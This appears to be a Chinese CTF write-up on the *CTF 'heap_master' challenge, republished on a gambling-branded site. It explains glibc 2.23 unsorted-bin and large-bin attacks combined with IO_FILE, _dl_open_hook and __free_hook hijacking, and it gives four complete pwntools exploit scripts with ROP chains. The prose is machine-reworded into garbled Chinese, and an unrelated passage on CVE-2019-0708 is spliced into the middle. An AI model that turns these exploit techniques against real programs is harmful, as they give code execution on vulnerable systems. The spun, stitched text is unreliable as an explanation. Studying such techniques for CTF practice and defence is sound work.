深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

申博_安全防护 申博 69次浏览 已收录 0个评论

媒介:

近来在进修的历程当中,碰到一个很风趣的器械,就是IO_FILELargebin Unsortbin attack的连系应用,这个技能能延长出来许多种应用体式格局。

正文:

就拿近来的*CTF上的heap_master来举例。

由于本文主讲应用技能,以是详细顺序剖析这里就略过了。顺序在mmap地区上对堆举行增编削,以是要想组织应用,就得在mmap地区上组织chunk。以下均在libc-2.23状况下举行。

破绽点:

有一个相似于UAF的破绽点。

应用初探:

顺序没有show函数,那末便很轻易想到用修正stdout的体式格局来走漏,那末该怎样去修正呢,从UAF角度剖析,可以或许应用UAF来到达Unsortbin attackLargebin attack

应用思索:

Unsortbin attack只能恣意地点写一个libc地点的值,该怎样把这一次恣意写应用最大化呢,那末就是修正global_max_fast。如许我们便可以或许获得glibc上的恣意地点写堆地点,由于很大的chunk都变成了fastbin,因而越界了划定内的fastbin_index,致使可以或许在恣意写堆地点。

用图来透露表现就是:

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

以是可以或许恣意写堆地点。

我们可以或许掩盖stdout,使得stdout指向我们的mmap空间,并且我们事前在mmap空间组织好_IO_2_1_stdout,致使在打印出顺序菜单之前先走漏了地点。效果为如许:

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

如图0x57e5c100最先就是我们事前组织好的_IO_2_1_stdout,有的人也许会想问,0x7f那些地点怎样来的?很简单,事前组织0x91的chunk,free后又add,便可获得libc上的地点,再把低位双字节改成_IO_2_1_stdout上的内容,就有1/16的几率可以或许撞到。

走漏出来:

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

走漏出地点了,下一步就是挟制顺序流了。

这里我们可以或许应用2.24版本后的IO_FILE应用,先挟制_IO_list_all,再接着组织_IO_list_all,触发_IO_flush_all_lockp

掩盖就很轻易了,跟前面所掩盖的stdout一样,而组织历程须要依据后续调用来组织了。我们须要触发_IO_str_jumps上的overflow。经由过程以下代码来挟制:

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)// pass
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)//pass 一样平常会经由过程
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

挟制顺序流:

new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

我们所须要bypass的几个前提:

1. fp->_flags & _IO_NO_WRITES为假
2. fp->_flags & _IO_USER_BUF(0x01)为假
3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 这里是挟制到的函数的rdi,即第一参数
5. fp+0xe0指向须要挟制到的函数

这里我们已可以或许掌握rip和rdi了,我组织以下:

_IO_FILE = ( p64(0) +
                 p64(0)*3 +
                 p64(0) +                     # write_base
                 p64(0x7fffffffffffffff) +    # write_ptr
                 p64(0xdadaddaaddddaaaa) +
                 p64(0) +                     # buf_base
                 p64((morecore - 100) / 2) +  #  rdi   buf_end
                 p64(0xdadaddaaddddaaaa)*11 +
                 p64(0) + # + 0xa8
                 p64(0xdadaddaaddddaaaa)*6 +
                 p64(IO_str_j) +          # + 0xd8
                 p64(setcontext))

然则单单掌握了rip和rdi还不敷,我们还须要把栈空间给转移到mmap上来。

视察上面可以或许看到,我们先把顺序流挟制到这里来:

0x00007f20066f4b75 <+53>:    mov    rsp,QWORD PTR [rdi+0xa0]
   0x00007f20066f4b7c <+60>:    mov    rbx,QWORD PTR [rdi+0x80]
   0x00007f20066f4b83 <+67>:    mov    rbp,QWORD PTR [rdi+0x78]
   0x00007f20066f4b87 <+71>:    mov    r12,QWORD PTR [rdi+0x48]
   0x00007f20066f4b8b <+75>:    mov    r13,QWORD PTR [rdi+0x50]
   0x00007f20066f4b8f <+79>:    mov    r14,QWORD PTR [rdi+0x58]
   0x00007f20066f4b93 <+83>:    mov    r15,QWORD PTR [rdi+0x60]
   0x00007f20066f4b97 <+87>:    mov    rcx,QWORD PTR [rdi+0xa8]
   0x00007f20066f4b9e <+94>:    push   rcx
   0x00007f20066f4b9f <+95>:    mov    rsi,QWORD PTR [rdi+0x70]
   0x00007f20066f4ba3 <+99>:    mov    rdx,QWORD PTR [rdi+0x88]
   0x00007f20066f4baa <+106>:   mov    rcx,QWORD PTR [rdi+0x98]
   0x00007f20066f4bb1 <+113>:   mov    r8,QWORD PTR [rdi+0x28]
   0x00007f20066f4bb5 <+117>:   mov    r9,QWORD PTR [rdi+0x30]
   0x00007f20066f4bb9 <+121>:   mov    rdi,QWORD PTR [rdi+0x68]
   0x00007f20066f4bbd <+125>:   xor    eax,eax
   0x00007f20066f4bbf <+127>:   ret

从第一条语句我们便可以或许转移栈空间,由于rdi我们可控。中心的rcx可以或许用__morecore保持均衡。

末了栈会胜利转移到我们的mmap地区来,以是事前在mmap地区组织好ROP便可挟制全部顺序流。

CVE-2019-0708:远程桌面服务漏洞的综合分析

在2019年5月的补丁周期中,Microsoft在其远程桌面服务(RDS)中发布了一个远程代码执行错误补丁。远程未经身份验证的攻击者可以通过将精心设计的RDP消息发送到目标服务器来利用此漏洞。成功利用可能会导致执行具有管理权限的任意代码。虽然我们对此漏洞的初步研究主要集中在缓解和保护上,但趋势科技安全研究团队的Pengsu Cheng,Kamlapati Choubey和Saran Neti致力于彻底分析漏洞。以下是趋势科技漏洞研究服务报告的摘录,内容涵盖CVE-2019-0708,并进行了一些最小的修改。 漏洞 Microsoft远程桌面服务(以前称为终端服务)允许用户远程打开交互式Windows会话。远程桌面服务提供与基于终端的环境类似的功能,其中多个终端(客户端)可以连接到单个主机(服务器)。远程用户可以登录到远程主机并访问主机上的数据,运行应用程序等。远程桌面连接默认使用远程桌面协议(RDP)通过端口3389 / TCP与远程服务器通信。 RDP指定多个会议参与者如何查看和协作共享程序。该协议是ITU-T T.128应用程序共享协议的Microsoft扩展。该协议利用T.120标准中较低层协议提供的其他服务,例如T.124通用会议控制(GCC),T.122多点通信服务(MCS)等。 RDP连接以连接序列消息开始,由远程桌面协议

应用延长:

延长点1:

可以或许有其余挟制流吗?固然可以或许。

我们还可以或许不挟制_IO_list_all,换个体式格局,挟制_dl_open_hook

_dl_open_hook是怎样个说法呢?它跟__free_hook相似,然则又不一样,区分就在于当它不为NULL时,实行的是**_dl_open_hook,而__free_hook是实行*__free_hook。触发前提是当malloc或free失足时。

当实行到**_dl_open_hook时,rax存的就是*_dl_open_hook,即堆地点。以是我找到了这么一处gadgets

=> 0x00007fd2f8d9a98a <+170>:       mov    rdi,rax
       0x00007fd2f8d9a98d <+173>:       call   QWORD PTR [rax+0x20]

如许,我们也掌握了rdi,今后可以或许组织挟制到上面所说的转移栈空间的那处gadgets。背面的流程也一样了。

延长点2:

那末largebin attack呢?

largebin attack实际上也是恣意地点修正为堆地点,发作的链表修正操作为:

fwd->bk_nextsize->fd_nextsize = victim;

fwd->bk->fd = victim;

经由过程调试可知这里的恣意修正为第二条,每次largebin attack可恣意修正一次为堆地点。实质上跟unsortbin attack没有太大的区分,只是修正体式格局不一样。

然则这里可以或许换一种体式格局走漏libc地点。

可以或许去修正_IO_2_1_stdout_flag为堆地点。由于flag知足肯定的前提时,便可以或许走漏:

if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr

这里也是有肯定几率的。除修正完_flag以后,还须要掩盖write_base的最低一个字节为\x00,这时候可以或许错位掩盖:

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

两处处所修正完以后的状况:

便可走漏出地点。

今后的挟制顺序流跟上面所说的一样,既可以或许挟制_dl_open_hook也可以或许挟制_IO_list_all

延长点3:

还可以或许怎样挟制顺序流程?可以或许挟制__free_hook

大抵流程就是用largebin attack走漏出地点后(跟上面延长2一致),再用largebin attack修正global_max_fast。如许便可以或许来应用fastbin_index_overflow了。

掩盖__free_hook为堆地点以后,修正该堆地点所对应的chunkfd指针为system地点。如许当把他add掏出以后,__free_hook地点就变为了system的地点:

深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用

delete以后便可触发。

固然了,__malloc_hook__relloc_hook等等也是一样的。

应用总结:

问题照样很新鲜的,从一般堆空间转化到了mmap地区上的堆空间来。可以或许勇敢的去想思绪,上面的有些思绪仔细想的话实在照样很奇妙的,不论是从找gadgets和全部挟制顺序流程的组织来讲都很奇妙,可以或许把几种思绪都去试着演习一下照样可以或许收获到许多器械的,思绪上、或者是组织应用上。并且上面的几种体式格局交织组合一下应用,还能有着多种体式格局。

EXP:

1. Unsortbin attack + _IO_list_all

from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def edit(off,cont):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(off))
    p.sendlineafter('size: ', str(len(cont)))
    p.sendafter('content: ', cont)

def delete(off):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(off))

def exp():
    for i in range(0xe):
        edit(0xf8 + i*0x10,p64(0x201))
    for i in range(0x10):
        edit(0x2f8 + i*0x10,p64(0x21))
    for i in range(0xd):
        delete(0x1d0-i*0x10)
        add(0x1f0)

    edit(0x100, p64(0xfbad1800) + p16(0x26a3))
    edit(0x110,p16(0x26a3))
    edit(0x118,p16(0x26a3))
    edit(0x120,p16(0x2618))
    edit(0x128,p16(0x26a3))
    edit(0x130,p16(0x26a3))
    edit(0x138,p16(0x26a3))
    edit(0x140,p16(0x26a3))
    edit(0x148, p64(0)*4 + p16(0x18e0))
    edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
    edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
    edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

    edit(0x1008,p64(0x91))
    edit(0x1098,p64(0x21))
    edit(0x10b8,p64(0x21))
    #edit(0x1148,p64(0x21))
    delete(0x1010)
    edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
    add(0x80)

    edit(0x108,p64(0x17e1))
    edit(0x18e8,p64(0x21))
    edit(0x1908,p64(0x21))
    delete(0x110)
    data = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = data - 3946208
    log.success('libc_base is :'+hex(libc_base))
    IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0
    morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0
    setcontext = libc_base + 293749

    _IO_FILE = ( p64(0) +
                 p64(0)*3 +
                 p64(0) +                     # + 0x20 write_base
                 p64(0x7fffffffffffffff) +    #        write_ptr
                 p64(0xdadaddaaddddaaaa) +
                 p64(0) +                     # + 0x38 buf_base
                 p64((morecore - 100) / 2) +  #  rdi   buf_end
                 p64(0xdadaddaaddddaaaa)*11 +
                 p64(0) + 
                 p64(0xdadaddaaddddaaaa)*6 +
                 p64(IO_str_j) +          # + 0xd8
                 p64(setcontext))
    edit(0x2008,p64(0x1411))
    edit(0x3418,p64(0x21))
    delete(0x2010)  # modify _IO_list_all to mmap+0x2000
    #gdb.attach(p)
    edit(0x2000,_IO_FILE)
    edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000
    edit(0x4128,p64(0x21))
    delete(0x3010)
    pop_rax = libc_base + 0x0000000000033544
    pop_rdi = libc_base + 0x0000000000021102
    pop_rsi = libc_base + 0x00000000000202e8
    pop_rdx = libc_base + 0x0000000000001b92
    syscall = libc_base + 0x00000000000bc375
    buf = libc_base + 3954496
    rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
           p64(pop_rdi) + p64(0) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(0x100) +
           p64(syscall) +
           p64(pop_rax) + p64(2) +
           p64(pop_rdi) + p64(buf) +
           p64(pop_rsi) + p64(0) +
           p64(pop_rdx) + p64(0) +
           p64(syscall) +
           p64(pop_rax) + p64(0) +
           p64(pop_rdi) + p64(3) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(100) +
           p64(syscall) +
           p64(pop_rax) + p64(1) +
           p64(pop_rdi) + p64(1) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(100) +
           p64(syscall))
    edit(0x3000,rop)
    p.sendline("A") # trigger on exit()
    time.sleep(0.1)
    p.send("./flag\x00")

    p.interactive()

if __name__ == '__main__' :
    pd = 1
    while pd:
        try :
            p = process('./heap_master')
            exp()
            pd = 0
        except Exception :
            p.close()
        pass

2. Unsortbin attack + _dl_open_hook

from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def edit(off,cont):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(off))
    p.sendlineafter('size: ', str(len(cont)))
    p.sendafter('content: ', cont)

def delete(off):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(off))

def exp():
    for i in range(0xe):
        edit(0xf8 + i*0x10,p64(0x201))
    for i in range(0x10):
        edit(0x2f8 + i*0x10,p64(0x21))
    for i in range(0xd):
        delete(0x1d0-i*0x10)
        add(0x1f0)

    edit(0x100, p64(0xfbad1800) + p16(0x26a3))
    edit(0x110,p16(0x26a3))
    edit(0x118,p16(0x26a3))
    edit(0x120,p16(0x2618))
    edit(0x128,p16(0x2710))
    edit(0x130,p16(0x26a3))
    edit(0x138,p16(0x26a3))
    edit(0x140,p16(0x26a3))
    edit(0x148, p64(0)*4 + p16(0x18e0))
    edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
    edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
    edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

    edit(0x1008,p64(0x91))
    edit(0x1098,p64(0x21))
    edit(0x10b8,p64(0x21))
    #edit(0x1148,p64(0x21))
    delete(0x1010)
    edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
    add(0x80)

    edit(0x108,p64(0x17e1))
    edit(0x18e8,p64(0x21))
    edit(0x1908,p64(0x21))
    delete(0x110)
    data = u64(p.recv(6).ljust(8,'\x00'))
    data2 = p.recvuntil('===')
    data2 = data2[-11:-7]
    #print data2
    data2 = u64(data2.ljust(8,'\x00'))
    vmmap_base = data2 - 256
    libc_base = data - 3946208
    log.success('libc_base is :'+hex(libc_base))
    log.success('vmmap_base is :'+hex(vmmap_base))
    setcontext = libc_base + 293749

    edit(0x2008,p64(0x8f91))
    edit(0xaf98,p64(0x21))
    delete(0x2010)  # modify _dl_open_hook to mmap+0x2000
    edit(0x2000,p64(libc_base+0x6D98A))
    '''
    => 0x00007fd2f8d9a98a <+170>:   mov    rdi,rax
       0x00007fd2f8d9a98d <+173>:   call   QWORD PTR [rax+0x20]
    '''
    #gdb.attach(p,'b *'+str(libc_base+0x6D98A))
    edit(0x2020,p64(setcontext))
    edit(0x20a0,p64(vmmap_base+0x20b0))
    edit(0x20a8,p64(libc_base+0x0000000000000937))
    pop_rax = libc_base + 0x0000000000033544
    pop_rdi = libc_base + 0x0000000000021102
    pop_rsi = libc_base + 0x00000000000202e8
    pop_rdx = libc_base + 0x0000000000001b92
    syscall = libc_base + 0x00000000000bc375
    #buf = libc_base + 3954496
    buf = libc_base + 3954496+0x20
    rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
           p64(pop_rdi) + p64(0) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(0x100) +
           p64(syscall) +
           p64(pop_rax) + p64(2) +
           p64(pop_rdi) + p64(buf) +
           p64(pop_rsi) + p64(0) +
           p64(pop_rdx) + p64(0) +
           p64(syscall) +
           p64(pop_rax) + p64(0) +
           p64(pop_rdi) + p64(4) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(100) +
           p64(syscall) +
           p64(pop_rax) + p64(1) +
           p64(pop_rdi) + p64(1) +
           p64(pop_rsi) + p64(buf) +
           p64(pop_rdx) + p64(100) +
           p64(syscall))
    edit(0x20b0,rop)
    #gdb.attach(p)
    add(0x20)
    time.sleep(0.1)
    p.send("./flag\x00")

    p.interactive()

if __name__ == '__main__' :
    pd = 1
    while pd:
        try :
            p = process('./heap_master')
            exp()
            pd = 0
        except Exception :
            p.close()
        pass

3. Largebin attack + _dl_open_hook

from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def edit(off,cont):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(off))
    p.sendlineafter('size: ', str(len(cont)))
    p.sendafter('content: ', cont)

def delete(off):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(off))

def exp():
    edit(0x108,p64(0x401))      #fake first large chunk
    edit(0x508,p64(0x21))
    edit(0x528,p64(0x21))
    delete(0x110)
    add(0x400)

    edit(0x608,p64(0x411))
    edit(0x608+0x410,p64(0x21))
    edit(0x608+0x430,p64(0x21))
    delete(0x610)
    edit(0x118,p16(0x2610))     #modify stdout_flag --> mmap_addr
    add(0x410)

    edit(0x1008,p64(0x451))     #fake second large chunk
    edit(0x1458,p64(0x21))
    edit(0x1478,p64(0x21))
    delete(0x1010)
    add(0x450)

    edit(0x1508,p64(0x461))
    edit(0x1968,p64(0x21))
    edit(0x1988,p64(0x21))
    delete(0x1510)
    edit(0x1018,p16(0x2629))    #modify io_write_base_one_byte --> '\x00'
    add(0x460)

    data = p.recv(8,timeout=1)
    if data == '' or data[0] == '=' :
        raise NameError
    else :
        pass
    p.recv(24)
    data1 = u64(p.recv(8))
    data2 = u64(p.recv(6).ljust(8,'\x00'))
    heap_base = data1 - 3584
    libc_base = data2 - 3954339
    setcontext = libc_base + 293749
    print hex(heap_base),hex(libc_base)

    edit(0x2008,p64(0x501))
    edit(0x2508,p64(0x21))
    edit(0x2528,p64(0x21))
    delete(0x2010)
    add(0x500)

    edit(0x2608,p64(0x511))
    edit(0x2b18,p64(0x21))
    edit(0x2b38,p64(0x21))
    delete(0x2610)
    edit(0x2018,p16(0x62d0))
    add(0x510)

    #gdb.attach(p)
    pop_rax = libc_base + 0x0000000000033544
    pop_rdi = libc_base + 0x0000000000021102
    pop_rsi = libc_base + 0x00000000000202e8
    pop_rdx = libc_base + 0x0000000000001b92
    syscall = libc_base + 0x00000000000bc375
    edit(0x2600,p64(libc_base+0x6D98A))
    edit(0x2620,p64(setcontext))
    edit(0x26a0,p64(heap_base+0x26b0))
    edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret

    edit(0x26b0,p64(pop_rax))    #read
    edit(0x26b8,p64(0))
    edit(0x26c0,p64(pop_rdi))
    edit(0x26c8,p64(0))
    edit(0x26d0,p64(pop_rsi))
    edit(0x26d8,p64(heap_base))
    edit(0x26e0,p64(pop_rdx))
    edit(0x26e8,p64(20))
    edit(0x26f0,p64(syscall))

    edit(0x26f8,p64(pop_rax))    #open
    edit(0x2700,p64(2))
    edit(0x2708,p64(pop_rdi))
    edit(0x2710,p64(heap_base))
    edit(0x2718,p64(pop_rsi))
    edit(0x2720,p64(0))
    edit(0x2728,p64(pop_rdx))
    edit(0x2730,p64(0))
    edit(0x2738,p64(syscall))

    edit(0x2740,p64(pop_rax))    #read
    edit(0x2748,p64(0))
    edit(0x2750,p64(pop_rdi))
    edit(0x2758,p64(4))
    edit(0x2760,p64(pop_rsi))
    edit(0x2768,p64(heap_base))
    edit(0x2770,p64(pop_rdx))
    edit(0x2778,p64(0x20))
    edit(0x2780,p64(syscall))

    edit(0x2788,p64(pop_rax))    #write
    edit(0x2790,p64(1))
    edit(0x2798,p64(pop_rdi))
    edit(0x27a0,p64(1))
    edit(0x27a8,p64(pop_rsi))
    edit(0x27b0,p64(heap_base))
    edit(0x27b8,p64(pop_rdx))
    edit(0x27c0,p64(0x20))
    edit(0x27c8,p64(syscall))

    delete(0x2b20)
    delete(0x2b20)

    p.send('./flag\x00')

    p.interactive()

if __name__ == '__main__' :
    pd = 1
    while pd:
        try :
            p = process('./heap_master')
            exp()
            pd = 0
        except Exception as e:
            print e
            p.close()
        pass

4. Largebin attack + __free_hook

from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def edit(off,cont):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(off))
    p.sendlineafter('size: ', str(len(cont)))
    p.sendafter('content: ', cont)

def delete(off):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(off))

def exp():
    edit(0x108,p64(0x401))      #fake first large chunk
    edit(0x508,p64(0x21))
    edit(0x528,p64(0x21))
    delete(0x110)
    add(0x400)

    edit(0x608,p64(0x411))
    edit(0x608+0x410,p64(0x21))
    edit(0x608+0x430,p64(0x21))
    delete(0x610)
    edit(0x118,p16(0x2610))     #modify stdout_flag --> mmap_addr
    add(0x410)

    edit(0x1008,p64(0x451))     #fake second large chunk
    edit(0x1458,p64(0x21))
    edit(0x1478,p64(0x21))
    delete(0x1010)
    add(0x450)

    edit(0x1508,p64(0x461))
    edit(0x1968,p64(0x21))
    edit(0x1988,p64(0x21))
    delete(0x1510)
    edit(0x1018,p16(0x2629))    #modify io_write_base_one_byte --> '\x00'
    add(0x460)

    data = p.recv(8,timeout=1)
    if data == '' or data[0] == '=' :
        raise NameError
    else :
        pass
    p.recv(24)
    data1 = u64(p.recv(8))
    data2 = u64(p.recv(6).ljust(8,'\x00'))
    heap_base = data1 - 3584
    libc_base = data2 - 3954339
    system_addr = libc_base + libc.symbols['system']
    bin_addr = libc_base + libc.search('/bin/sh').next()

    edit(0x2008,p64(0x501))    #fake third large chunk
    edit(0x2508,p64(0x21))
    edit(0x2528,p64(0x21))
    delete(0x2010)
    add(0x500)

    edit(0x2608,p64(0x511))
    edit(0x2b18,p64(0x21))
    edit(0x2b38,p64(0x21))
    delete(0x2610)
    edit(0x2018,p16(0x37e8))    #modify global_max_fast
    add(0x510)

    edit(0x3008,p64(0x3921))
    edit(0x3008+0x3920,p64(0x21))
    delete(0x3010)
    edit(0x3010,p64(system_addr))#modify fastbin->fd --> system
    add(0x3918)
    #gdb.attach(p)

    edit(0x4008,p64(0x21))
    edit(0x4010,'/bin/sh')
    edit(0x4028,p64(0x21))
    delete(0x4010)

    p.interactive()

if __name__ == '__main__' :
    pd = 1
    while pd:
        try :
            p = process('./heap_master')
            exp()
            pd = 0
        except Exception as e:
            print e
            p.close()
        pass

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明深入分析IO_FILE、Unsortbin attack与Largebin attack的连系应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址